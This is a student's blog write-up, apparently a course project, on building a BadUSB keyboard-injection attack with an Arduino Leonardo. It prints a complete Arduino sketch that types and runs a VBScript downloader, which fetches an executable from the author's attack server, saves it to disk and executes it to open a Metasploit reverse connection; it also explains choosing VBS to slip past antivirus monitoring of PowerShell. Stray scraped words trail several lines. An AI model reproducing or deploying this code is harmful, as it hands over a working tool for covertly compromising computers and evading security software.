20155213免考項目——簡易的HIDAttack

20155213免考項目——簡易的HIDAttack

聽5214說他作不出來本身的免考項目,因而就轉向bof進階,而且成功作出了64位的ROP攻擊......
既然如此,那我就再作一個吧,但都已經期末了,就選擇了一項入手簡單的HID攻擊的東西,就這麼作了一個簡易的HIDAttack,沒有深研究過,確定有不少敘述不周到,作法有問題,還請原諒我這個小caiji。html

0x01 介紹

BadUSB原理

我這裏作的HIDAttack選擇的是BadUSB那一項,先簡單介紹一下HID是啥,Human InterfaceDevice,是計算機直接與人交互的設備,例如鍵盤、鼠標等,具體的解釋能夠百度,多得很。這裏能用到的信息就是若是逆向編程使用HID的設備,就能夠實現,隨意變換計算機識別的設備類型。shell

TEENSY介紹

攻擊者在定製攻擊設備時,會向USB設備中置入一個攻擊芯片,此攻擊芯片是一個很是小並且功能完整的單片機開發系統,它的名字叫TEENSY。經過TEENSY你能夠模擬出一個鍵盤和鼠標,當你插入這個定製的USB設備時,電腦會識別爲一個鍵盤,利用設備中的微處理器與存儲空間和編程進去的攻擊代碼,就能夠向主機發送控制命令,從而徹底控制主機,不管自動播放是否開啓,均可以成功。編程

我選擇的USB設備是一塊Arduino板子,是LEORADO型的,其餘的不能用除了Micro型(很小很便宜)的,淘寶上能夠買的到。
bash

0x02 編譯上傳&exploit

這裏咱們跳過Arduino編程和後面將要使用到的powershell編程和VBS編程介紹內容,網上不少不少函數

具體流程

  1. 使用arduino裏面的Keyboard模塊編寫一個腳本,用該腳本下載運行遠程惡意程序
  • 使用的腳本是VBS腳本,Windows裏面自帶有解釋VBS腳本的解釋器(WScript.exe)
  • 使用VBS是本身想到的,網上教程使用的是PowerShell的下載功能,(Powershell是一種相似bash的終端程序)
  1. 在遠程Kali開啓Apache服務,並上傳惡意程序,用以提供下 載
  2. 開啓msf,並設置運行反彈鏈接模塊
  3. 編譯上傳arduino代碼到板子上,拔插USB數據線,此時arduino板子會自動運行以前燒進去的代碼
  4. 靜坐等待就行了

代碼解析

#include <Keyboard.h>

void setup() {
  delay(3000);
  Keyboard.begin();
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  delay(100);
  Keyboard.println("cmd /c powershell");
  delay(100);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  Keyboard.println("notepad ");
  delay(1000);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_LEFT_SHIFT);

  delay(1000);
  Keyboard.println("on error resume next \nSet Post = CreateObject\(\"Msxml2.XMLHTTP\"\)\nSet Shell = CreateObject\(\"Wscript.Shell\"\)\nPost.Open \"GET\",\"http://192.168.43.28/bd5213.gif\",0\nPost.Send\(\)\nSet aGet = CreateObject\(\"ADODB.Stream\"\)\naGet.Mode = 3\naGet.Type = 1\naGet.Open\(\)\naGet.Write\(Post.responseBody\)\naGet.SaveToFile \"d:\\bd5213.exe\",2\nwscript.sleep 1000\nShell.AppActivate \"C:\\Windows\\system32\\CMD.exe\"\nShell.SendKeys \"exit~\"\nShell.Run \(\"d:\\bd5213.exe\"\)");
  delay(1000);
  Keyboard.release(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press('s');
  Keyboard.releaseAll();
  delay(500);
  Keyboard.println("bd5213.vbs ");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();
  delay(500);
  Keyboard.println("./bd5213.vbs ");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);

}

void loop() {
  // put your main code here, to run repeatedly:

}

Arduino的Keyboard模塊編程也就以下這幾個函數oop

#include<Keyboard.h>  //包含鍵盤模塊的頭文件

Keyboard.begin();  //開啓鍵盤通訊

Keyboard.press();  //按下某個鍵

Keyboard.release(); //釋放某個鍵

Keyboard.println(); /*輸入某些內容 和一些網上的解釋不一樣 網上解釋是輸入內容而且能回車,而我測試的時候並不能回車 可能和版本有關 不要不要擔憂有辦法回車*/

Keyboard.end();  //結束鍵盤通訊
  • 這裏說一下上面的邏輯,就是先打開運行,而後輸入cmd /c powershell,即運行powershell,隨後用其打開一個txt文件,向裏面輸入vbs腳本代碼(腳本文件後面具體解釋),鍵入CTRL+Sbd5213.vbs保存文件,關閉txt文本窗口,在剛纔的終端裏運行腳本文件。測試

  • 上面的VBS腳本文件,主要是用來下載遠程的惡意程序的並運行的,規範一下寫法ui

on error resume next
sET pOST = cREATEoBJECT("mSXML2.xmlhttp")
sET sHELL = cREATEoBJECT("wSCRIPT.sHELL")
pOST.oPEN "get","HTTP://192.168.43.28/BD5213.GIF",0
pOST.sEND()
sET AgET = cREATEoBJECT("adodb.sTREAM")
AgET.mODE = 3
AgET.tYPE = 1
AgET.oPEN()
AgET.wRITE(pOST.RESPONSEbODY)
AgET.sAVEtOfILE "D:\BD5213.EXE",2
WSCRIPT.SLEEP 1000
sHELL.aPPaCTIVATE "c:\wINDOWS\SYSTEM32\cmd.EXE"
sHELL.sENDkEYS "EXIT~"
sHELL.rUN ("D:\BD5213.EXE")
  • 代碼都是字面意思,主要說一下第一句和倒數第三句
    • 第一句說的是,若是運行出錯,但不報錯,並繼續往下運行,這樣作的好處是防止運行時出問題,調出一個提示框code

      那就有點尷尬了。
    • 倒數第三句是將目前桌面焦點放到指定的正在運行的程序上,這裏的目的是爲了關閉不用的終端視頻

  • 有幾個細節須要說一下:
    • arduino代碼裏須要開啓大寫鍵,是爲了防止中文輸入,這也致使寫在txt文件裏的代碼大小寫很亂(原本想按住shift鍵強制轉換結果仍是亂的),但不影響,WScript並不care大小寫問題
    • 網上教程都是用powershell來下載惡意程序的,可是powershell被360監視的太狠了,每次下載都要報提示,但VBS下載就不會,使用的是HTTP的get,且沒有被監視,因此就換成了VBS的

exploit就很少說了,使用的是實驗三作了免殺的一個程序

0x03 操做實現

完成上述過程後,插入USB便可,我錄了一段視頻,簡單感覺一下粗獷的攻擊方式

視頻連接

相關文章
相關標籤/搜索